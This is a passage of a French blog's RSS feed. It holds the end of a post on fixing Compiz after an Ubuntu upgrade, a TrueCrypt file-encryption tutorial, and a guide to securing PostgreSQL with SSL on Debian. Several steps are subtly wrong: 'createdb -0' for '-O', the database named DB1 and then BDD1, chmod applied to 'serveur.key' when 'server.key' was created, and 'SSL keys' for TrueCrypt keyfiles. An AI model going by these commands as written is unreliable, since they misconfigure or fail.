<div><strong>Compiz fait un peu ce qu&#8217;il veut</strong></div>
<div>Je ne vais pas tourner autour du pot, je me lance dans la re-configuration de Compiz.</div>
<div>Pour cela, je commence par supprimer tous les fichier de configuration liés à compiz.</div>
<blockquote>
<div>find -iname *compiz*</div>
</blockquote>
<div>Je supprime tous les fichiers trouvés, avec la commande &laquo;&nbsp;rm&nbsp;&raquo;.</div>
<div>Si vous pouvez encore fermer votre session, ou accéder à un terminal pour vous déconnecter, faites-le&#8230; sinon faites le gros bourrin en utilisant la commande &laquo;&nbsp;shutdown &#8211;boutton&nbsp;&raquo; (cette commande n&#8217;existe pas, c&#8217;est de l&#8217;humour <img src='http://my1.fr/blog/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  ).</div>
<div>Tout est revenu à peu prêt dans l&#8217;ordre&#8230; Il m&#8217;a fallu toute fois réinstaller Ubuntu Tweak, et recompiler les modules de VMware Workstation.</div>
<div>La prochaine fois c&#8217;est sûr, je ne ferais pas cela le soir&#8230;</div>
<div>De mon coté, j&#8217;ai un peu testé Unity et je n&#8217;aime pas trop sur mon ordi perso&#8230; Peut-être parce que j&#8217;aime bien avoir un écran 100% clean, sans trop de barres &amp; compagnie. Peut-être qu&#8217;il me séduira lorsque j&#8217;aurai un netbook, mais en attendant je ne l&#8217;utilise pas.</div>
<div>Si vous avez d&#8217;autres soucis à cause de cette mise à jour, et que vous désirez me le faire remonter, n&#8217;hésitez pas à me le faire partager pour que je mette à jour l&#8217;article !</div>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/mise-a-jour-dubuntu-10-10-vers-ubuntu-11-04/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chiffrer ses données à la volée avec Truecrypt</title>
		<link>http://my1.fr/blog/chiffrer-ses-donnees-a-la-volee-avec-truecrypt/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=chiffrer-ses-donnees-a-la-volee-avec-truecrypt</link>
		<comments>http://my1.fr/blog/chiffrer-ses-donnees-a-la-volee-avec-truecrypt/#comments</comments>
		<pubDate>Wed, 18 May 2011 17:59:55 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[planete-libre]]></category>
		<category><![CDATA[sécurité]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=133</guid>
		<description><![CDATA[Il y a quelques mois de cela, j&#8217;ai rédigé un article sur différents moyens de surfer sécurisé. Aujourd&#8217;hui, c&#8217;est un moyen de protéger ses fichiers que nous allons voir ensemble. Certains mots reviennent toujours, comme par exemple le chiffrement qui est d&#8217;actualité. En effet, protéger vos fichiers revient à les mettre non seulement en lieu [...]]]></description>
			<content:encoded><![CDATA[<p>Il y a quelques mois de cela, j&#8217;ai rédigé un article sur différents moyens de surfer sécurisé.</p>
<p>Aujourd&#8217;hui, c&#8217;est un moyen de protéger ses fichiers que nous allons voir ensemble.</p>
<p>Certains mots reviennent toujours, comme par exemple le chiffrement qui est d&#8217;actualité. En effet, protéger vos fichiers revient à les mettre non seulement en lieu sur, mais surtout accessible que par vous même.</p>
<p>En premier lieu, nous pouvons définir quels types de fichiers il est intéressant de protéger :</p>
<ul>
<li>vos fichiers liés à votre vie privée (extraits de compte bancaires, documents officiels, fichiers de mots de passe, etc)</li>
<li>vos fichiers professionnels (confidentiels ou non, ils ne regardent que vous)</li>
<li>et tout autre fichier sensible comme vos certificats SSL par exemple, ou encore des documents secrets.</li>
</ul>
<p>Voici maintenant plusieurs situations qui ne sont que des exemples, mais qui peuvent corrompre vos informations personnelles rapidement :</p>
<ul>
<li>vol, ou perte d&#8217;ordinateur (contenant un ou plusieurs disques durs)</li>
<li>piratage de votre système (via Internet, ou le réseau de votre entreprise)</li>
<li>accès à votre ordinateur par d&#8217;autres personnes (collègues ou amis)</li>
</ul>
<p>Brefs, dans tous les cas, nous avons tous des fichiers sensibles, et nous allons voir comment les garder bien au chaud.</p>
<p>Une solution très efficace : <a title="Site officiel" href="http://www.truecrypt.org/" target="_blank">Truecrypt </a>.</p>
<p>C&#8217;est un logiciel qui permet deux choses :</p>
<ul>
<li>chiffrer des données à la volée (par un simple copier collé)</li>
<li>stocker ces données soit dans un fichier qui sera monté comme un volume, soit sur une partition qui sera au préalablement formatée par Truecrypt.</li>
</ul>
<p>L&#8217;avantage d&#8217;une telle solution est tout d&#8217;abord l&#8217;impossibilité pour une personne tierce de voir que vous utilisez un moyen de chiffrement. Le fichier ou le périphérique est complétement anodin, et vous offre le déni plausible dans une situation de force. En d&#8217;autres termes, personne ne vous mettra le couteau sous la gorge pour vous demander un mot de passe, puisque vos données sont stockées dans un fichier chiffré, qui n&#8217;a aucune apparence d&#8217;un fichier chiffré.</p>
<p>Nous allons voir l&#8217;utilité de ces deux fonctionnement possibles, mais avant tout sachez une chose : vos volumes seront protégés par un mot de passe, et si vous avez envie de renforcer la sécurité, par une clé SSL. Il est primordial de ne pas oublier ce mot de passe, sinon vos fichiers seraient perdus à jamais. De plus, il est bon de rappeler d&#8217;avoir des sauvegardes sur plusieurs périphériques différents, au cas où l&#8217;un deviendrait défectueux. Bon c&#8217;est finis, j&#8217;arrête de vous plomber le moral, et je passe à l&#8217;action.</p>
<p>&nbsp;</p>
<ul>
<li><span style="text-decoration: underline;"><strong>Téléchargement de Truecrypt</strong></span></li>
</ul>
<p>Ce logiciel est gratuit, et dispose d&#8217;une licence dite libre par les éditeurs, mais reconnue non open-source par certaines distributions Linux. Il fonctionne sous Linux, Mac OS X et MS Windows. Les données chiffrées sur un système d&#8217;exploitation sont bien entendu accessibles depuis un autre.</p>
<p>Voici le <a title="Download" href="http://www.truecrypt.org/downloads" target="_blank">lien de téléchargement</a>.</p>
<p>Pour le paquetage linux, je vous suggère la version &laquo;&nbsp;standard&nbsp;&raquo; qui comprend une interface graphique. Cependant, sur un serveur, la version &laquo;&nbsp;Console-only&nbsp;&raquo; sera la plus appropriée.</p>
<p>Il s&#8217;installe simplement en exécutant le binaire téléchargé, rien de bien compliqué.</p>
<p>&nbsp;</p>
<ul>
<li><span style="text-decoration: underline;"><strong>Utilisation de Truecrypt</strong><strong> par la création d&#8217;un fichier</strong></span></li>
</ul>
<p>Nous l&#8217;avons dit plus haut, vous avez la possibilité de créer un fichier vide dans lequel vous placerez vos fichiers confidentiels. Ce fichier sera de taille fixe, et entièrement chiffré avec plusieurs algorithmes. C&#8217;est donc un moyen très facile pour envoyer des fichiers de manière ultra sécurisée par e-mail, par FTP, ou encore si vous devez les stocker sur une clé USB.</p>
<p>Cliquez sur &laquo;&nbsp;<em>Volumes</em>&laquo;&nbsp;, puis sur &laquo;&nbsp;<em>Create New Volume</em>&nbsp;&raquo; (chez moi c&#8217;est en anglais !). Choisissez ensuite &laquo;&nbsp;<em>Create an encrypted file container</em>&nbsp;&raquo; (1er choix par défaut). Pour la suite, un volume standard fera l&#8217;affaire dans la plupart des situations. Mais sachez qu&#8217;il est possible de créer un volume caché sur une partition. Il convient ensuite de choisir l&#8217;emplacement du fichier à créer, et son nom.</p>
<p>Ensuite, ce sont les algorithmes de chiffrement qu&#8217;il faudra sélectionner. Pour des petits volumes (5 Mo par exemple), je suggère la combinaisons des algorithmes &laquo;&nbsp;<em>Serpent-Twofish-AES</em>&laquo;&nbsp;, qui permettra une vitesse d&#8217;écriture d&#8217;environ 70 Mo/s selon votre matériel. Pour des gros volumes, vous pouvez soit utiliser la même chose que précédemment, tout en assumant la vitesse lente de copie, ou alors opter pour un seul chiffrement comme par exemple &laquo;&nbsp;Serpent&nbsp;&raquo;, qui propose une vitesse moyenne d&#8217;écriture 130 Mo/s.</p>
<p>Personnellement, tous mes volumes utilisent &laquo;&nbsp;<em>Serpent-Twofish-AES</em>&laquo;&nbsp;, histoire n&#8217;être vraiment protégé. Les informations du volumes (mot de passe, etc) sont hachées, par l&#8217;algorithme de votre choix. Mon choix par défaut est <em>&laquo;&nbsp;SHA-512&#8243;</em>, développé par la NSA (oui, donc vous comprenez pourquoi je l&#8217;ai choisis !).</p>
<p>Il faut maintenant choisir la taille du fichier. A vous d&#8217;estimer combien de mémoire il vous faudra pour stocker vos fichiers confidentiels, sachant que pour un volume d&#8217;1 Mo, seuls 746 Ko seront disponibles.</p>
<p>Une fois votre fichier créé, il va falloir le &laquo;&nbsp;monter&nbsp;&raquo; avec Truecrypt. Dans la fenêtre principale, choisissez un slot de libre, puis cliquez sur &laquo;&nbsp;<em>Select File</em>&laquo;&nbsp;. En cliquant sur &laquo;&nbsp;<em>Mount</em>&laquo;&nbsp;, il vous sera demandé le mot de passe, et si besoin les clés SSL pour ouvrir le volume.</p>
<p>Copier vos fichiers dans ce volume reviendra à les chiffrer à la volée.</p>
<p>&nbsp;</p>
<ul>
<li><span style="text-decoration: underline;"><strong>Utilisation de Truecrypt</strong><strong> par la création d&#8217;une partition</strong></span></li>
</ul>
<p>Si vous souhaitez protéger des fichiers présents sur votre ordinateur, il serait préférable de créer une partition qui serait dédiée.</p>
<p>Le principe de création est le même que pour un fichier conteneur.</p>
<p>Le mieux est de disposer d&#8217;une partition au préalablement formatée en NTFS. Truecrypt se chargera de la reformater avec les algorithmes choisis. Si vous ne savez pas lesquels choisir, reportez vous au paragraphe précédent.</p>
<p>Attention cependant sous MS Windows où la partition apparaitra comme une partition non formatée. Une fois montée, pas de soucis accéder librement à vos fichiers ! Ne vous faites pas avoir !</p>
<p>La partition se monte également avec Truecrypt en cliquant sur &laquo;&nbsp;<em>Select device</em>&laquo;&nbsp;, puis en sélectionnant le périphérique voulu.</p>
<p>Personnellement, j&#8217;utilise cette méthode pour conserver sur mon ordinateur des fichiers sensibles.</p>
<p>Sachez toutefois qu&#8217;il faut démonter le volume une fois que vous quitter votre ordinateur :</p>
<ul>
<li>Sous MS Windows, une déconnexion d&#8217;utilisateur<strong> n&#8217;entraine pas le démontage du volume</strong>, attention donc si vous utilisez des sessions !</li>
<li>Les fichiers étant montés sur l&#8217;ordinateur, restent à la merci de tout pirate ayant accès à votre ordinateur.</li>
</ul>
<p>Il faudra donc éviter de mémoriser les mots de passe des volumes (en désactivant l&#8217;historique), ainsi que de les laisser ouverts.</p>
<p>Enfin, je vous conseille vivement un<strong> mot de passe long et compliqué</strong> (au moins 15 caractères avec des lettres, des chiffres et des symboles). Par exemple, une phrase mnémotechnique peut faire l&#8217;affaire. En effet, avec un outil de bruteforce il serait possible d&#8217;ouvrir le fichier ou périphérique au bout d&#8217;un certain temps. Plus votre mot de passe est long et dur, plus de temps il sera nécessaire pour accéder aux données.</p>
<p>&nbsp;</p>
<ul>
<li><span style="text-decoration: underline;"><strong>Conclusion</strong></span></li>
</ul>
<p>Truecrypt est un logiciel de chiffrement à la volée parmi tant d&#8217;autres.. Pas de backdoor, et le code source est complètement ouvert à tous.</p>
<p>Sachez que l&#8217;application est également disponible en &laquo;&nbsp;application portable&nbsp;&raquo; et qu&#8217;il est possible (et même conseillé) de changer les mots de passe des volumes autant de fois que l&#8217;on souhaite.</p>
<p>Protéger ses fichiers est aussi important que de protéger ses informations personnelles.</p>
<p>Dans un environnement toujours plus &laquo;&nbsp;online&nbsp;&raquo;, il est plus que nécessaire d&#8217;utiliser ce type de solution. A bon entendeur !</p>
<p>&nbsp;</p>
<p>[Edit] J&#8217;ai pris en compte vos commentaires, et je remercie des précisions qui m&#8217;ont été apportées. J&#8217;ai bien entendu corrigé le fait que Truecrypt n&#8217;est pas un logiciel reconnu comme libre. Merci de faire vivre ce blog !</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/chiffrer-ses-donnees-a-la-volee-avec-truecrypt/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Base de données sécurisée avec PostgreSQL et OpenSSL</title>
		<link>http://my1.fr/blog/base-de-donnees-securisee-avec-postgresql-et-openssl/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=base-de-donnees-securisee-avec-postgresql-et-openssl</link>
		<comments>http://my1.fr/blog/base-de-donnees-securisee-avec-postgresql-et-openssl/#comments</comments>
		<pubDate>Wed, 17 Nov 2010 19:18:58 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Logiciels libres]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[base de données]]></category>
		<category><![CDATA[openssl]]></category>
		<category><![CDATA[planete-libre]]></category>
		<category><![CDATA[postgres]]></category>
		<category><![CDATA[postgresql]]></category>
		<category><![CDATA[sgbdor]]></category>
		<category><![CDATA[ssl]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=98</guid>
		<description><![CDATA[Présentation de PostgreSQL PostgreSQL est un outil libre et fondé par une communauté mondiale de développeurs et d&#8217;entreprises. Il permet de stocker plus de types de données que les types traditionnels entier, caractères, etc&#8230; L&#8217;utilisateur peut créer des types, des fonctions, utiliser l&#8217;héritage de type et encore d&#8217;autres fonctionnalités très intéressantes. Réputé pour sa stabilité, [...]]]></description>
			<content:encoded><![CDATA[<p><!-- p { margin-bottom: 0.21cm; } --></p>
<ul>
<li><span style="text-decoration: underline;"><strong>Présentation de PostgreSQL</strong></span></li>
</ul>
<p>PostgreSQL est un outil libre et fondé par une communauté mondiale de développeurs et d&#8217;entreprises. Il permet de stocker plus de types de données que les types traditionnels entier, caractères, etc&#8230; L&#8217;utilisateur peut créer des types, des fonctions, utiliser l&#8217;héritage de type et encore d&#8217;autres fonctionnalités très intéressantes. Réputé pour sa stabilité, et son excellente compatibilité avec la norme ANSI SQL, mon choix s&#8217;est porté vers PostgreSQL par rapport aux besoins de performances des entreprises. En effet, les applications Web utilisent d&#8217;une part une base de données MySQL pour la partie front-end (les performances sont meilleures pour de petites requêtes vers une petite base de données), et d&#8217;une autre part une autre base de données PostreSQL pour les grosses requêtes sur des bases de données importantes, souvent utilisées par les applications métier.</p>
<p><span style="text-decoration: underline;">Note </span>: Dans ce billet, nous considérons avoir un serveur de base de données, un serveur web et un serveur d&#8217;applications séparés.</p>
<ul>
<li><span style="text-decoration: underline;"><strong>Installation des paquetages</strong></span></li>
</ul>
<p>Nous considérons que nous possédons déjà un système d&#8217;exploitation Debian GNU/Linux installé sur la machine.</p>
<p>Nous allons maintenant installer les logiciels nécessaires :</p>
<p><span style="color: #00ff00;"><em>apt-get install postgresql</em></span></p>
<p>Il est intéressant de remarquer que les dépendances vont être automatiquement installées (grâce au système de gestion de paquets APT).</p>
<ul>
<li><span style="text-decoration: underline;"><strong>Configuration de PostgreSQL</strong></span></li>
</ul>
<p>Lors de l’installation, l’utilisateur « <strong> postgres </strong> » est créé automatiquement. Par défaut, le mot de passe de cet utilisateur n’est pas connu. Par mesure de sécurité, nous allons en affecter un et nous passerons sous l’utilisateur « postgres » sans passer par l’utilisateur « root » pour exécuter les processus (et donc éviter de lui donner trop de permissions) :</p>
<p><span style="color: #00ff00;"><em>passwd postgres</em></span></p>
<p>Pour travailler sur la base de données, il faut commencer par se connecter sous le compte de ce nouvel utilisateur :</p>
<p><span style="color: #00ff00;"><em>su – postgres</em></span></p>
<p>Par défaut les instances se trouvent dans le répertoire <em>/var/lib/postgresql</em> (c&#8217;est le <em>~postgres</em>). Elles sont gérées avec les wrappers en Perl <em>pg_*cluster</em>.</p>
<p>Par exemple <em>pg_createcluster</em> utilise en fait la commande <em>/usr/lib/postgresql/bin/initdb -D &lt;datadir&gt;.</em></p>
<p>Il faut également avoir des droits corrects sur /tmp/ et d&#8217;autant plus pour PostgreSQL sans lesquels l&#8217;installation échouera complètement :</p>
<p><span style="color: #00ff00;"><em>chmod 1777 /tmp</em></span></p>
<p>Nous allons créer notre base de données qui sera utilisée par l&#8217;application métier, mais tout d&#8217;abord, il faudra créer un utilisateur qui sera dédié à cette base de données.</p>
<p><span style="color: #00ff00;"><em># su – postgres</em></span></p>
<p><span style="color: #00ff00;"><em>$ createuser dbadmin -P -D -A</em></span></p>
<p><span style="color: #00ff00;"><em>$ createdb -0 dbadmin -E UNICODE DB1</em></span></p>
<p><span style="text-decoration: underline;">Note :</span> dbadmin sera l&#8217;utilisateur de la base de données DB1, elle même encodée en UNICODE.</p>
<p>Ensuite, il convient de configurer deux fichiers : <strong>pg_hba.conf</strong> et <strong>postgresql.conf</strong>.</p>
<p>Notons que les fichiers de configuration se trouvent dans le répertoire <strong>/etc/postgresql/8.3/main</strong> et la modification de ces derniers se font avec le super utilisateur « postgres ».</p>
<p>Le fichier<strong> </strong><em><strong>pg_hba.conf</strong></em> permet de régler les permissions. Voici la syntaxe :</p>
<p><span style="color: #ff0000;">local		DATABASE		USER		METHOD		[OPTION]</span></p>
<p><span style="color: #ff0000;">host		DATABASE		USER		CIDR-ADDRESS	METHOD	[OPTION]</span></p>
<p><span style="color: #ff0000;">hostssl		DATABASE		USER		CIDR-ADDRESS	METHOD	[OPTION]</span></p>
<p><span style="color: #ff0000;">hostnossl	DATABASE		USER		CIDR-ADDRESS	METHOD	[OPTION]</span></p>
<p>La ligne «<strong> local </strong>» permettra d&#8217;être en écoute « localement » sur la machine.</p>
<p>Le champ «<strong> DATABASE </strong>» concerne une base de donnée précise. Ce champ peut être de valeur « all » pour toutes les bases de données, « sameuser, « samerole », ou encore un nom précis de base de données.</p>
<p>Le champ «<strong> USER </strong>» peut être un nom d&#8217;utilisateur précis, un nom de groupe (avec le préfixe « + ») ou une liste d&#8217;utilisateurs séparés par des « - ».</p>
<p>Le champ « <strong>CIDR-ADDRESS</strong> » spécifie l&#8217;adresse IP (V4 ou V6) d&#8217;un hôte ou réseau distant ainsi qu&#8217;un masque de sous-réseau.</p>
<p>Le champ « <strong>METHOD</strong> » énonce la méthode d&#8217;authentification.</p>
<p>Le champ « <strong>[OPTION] </strong>» peut être utile lors d&#8217;une authentification avec PAM par exemple.</p>
<p>Voici maintenant notre fichier de configuration<strong> </strong><em><strong>pg_hba.conf</strong></em><em> </em>:</p>
<p><span style="color: #339966;"><em>local		all		postgres		ident sameuser</em></span></p>
<p><span style="color: #339966;"><em>hostssl		BDD1		dbadmin	192.168.53.1/32	md5</em></span></p>
<p>Ce fichier de configuration permet à l&#8217;utilisateur « postgres » d&#8217;accéder à toutes les bases de données en local, et notre serveur d&#8217;application distant pourra accéder à la base de données <em>BDD1</em>, avec l&#8217;utilisateur <em>dbadmin,</em> avec une authentification protégée par <em>md5</em>. Notez que dans cette configuration, une connexion SSL est exigée pour le serveur distant. Cela évite dans le cas d&#8217;une attaque « Man-on-the-middle » qu&#8217;une personne tierce accède aux données échangées.</p>
<p>Ensuite, il faut modifier le fichier de configuration  <strong>postgresql.conf</strong>. Voici les paramètres à modifier ou à ajouter :</p>
<p><span style="color: #339966;"><em>listen_addresses = &#8216;*&#8217;</em></span></p>
<p><span style="color: #339966;"><em>port = 5432</em></span></p>
<p><span style="color: #339966;"><em>ssl = on</em></span></p>
<p><span style="color: #339966;"><em>password_encryption = on</em></span></p>
<p>Il faudra ensuite créer un certificat pour l&#8217;échange des données clients/serveur.</p>
<p>Nous allons créer un certificat auto-signé, dédié à PostgreSQL :</p>
<p><span style="color: #00ff00;"><em>$ cd /var/lib/postgresql/8.3/main/</em></span></p>
<p><span style="color: #00ff00;"><em>$ openssl req -new -text -out server.req</em></span></p>
<p><span style="color: #00ff00;"><em>$ openssl rsa -in privkey.pem -out server.key</em></span></p>
<p><span style="color: #00ff00;"><em>$ openssl req -x509 -in server.req -text -key server.key -out server.crt</em></span></p>
<p><span style="color: #00ff00;"><em>$ rm privkey.pem</em></span></p>
<p><span style="color: #00ff00;"><em>$ chmod 600 serveur.key</em></span></p>
<p><span style="text-decoration: underline;">Note </span>: Ces commandes sont réalisées avec l&#8217;utilisateur « postgres ».</p>
<p>La clé et le certificat sont crées et protégés, nous pouvons maintenant redémarrer le service PostgreSQL :</p>
<p><span style="color: #00ff00;"><em>$ /etc/init.d/postgresql-8.3 restart</em></span></p>
<p>Le serveur peut désormais se connecter au serveur de base de données, avec les paramètres suivants :</p>
<p><span style="color: #0000ff;"><em>Hôte du serveur : 192.168.53.153</em></span></p>
<p><span style="color: #0000ff;"><em>Port TCP : 5432</em></span></p>
<p><span style="color: #0000ff;"><em>SSL : exigé</em></span></p>
<p><span style="color: #0000ff;"><em>Base de données : BDD1</em></span></p>
<p><span style="color: #0000ff;"><em>Utilisateur : dbadmin</em></span></p>
<p><span style="color: #0000ff;"><em>Mot de passe : &lt;mot de passe de l&#8217;utilisateur dbadmin&gt;</em></span></p>
<p>La base de données est maintenant crée, et configurée de manière à ce que les accès y soient sécurisés.</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/base-de-donnees-securisee-avec-postgresql-et-openssl/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

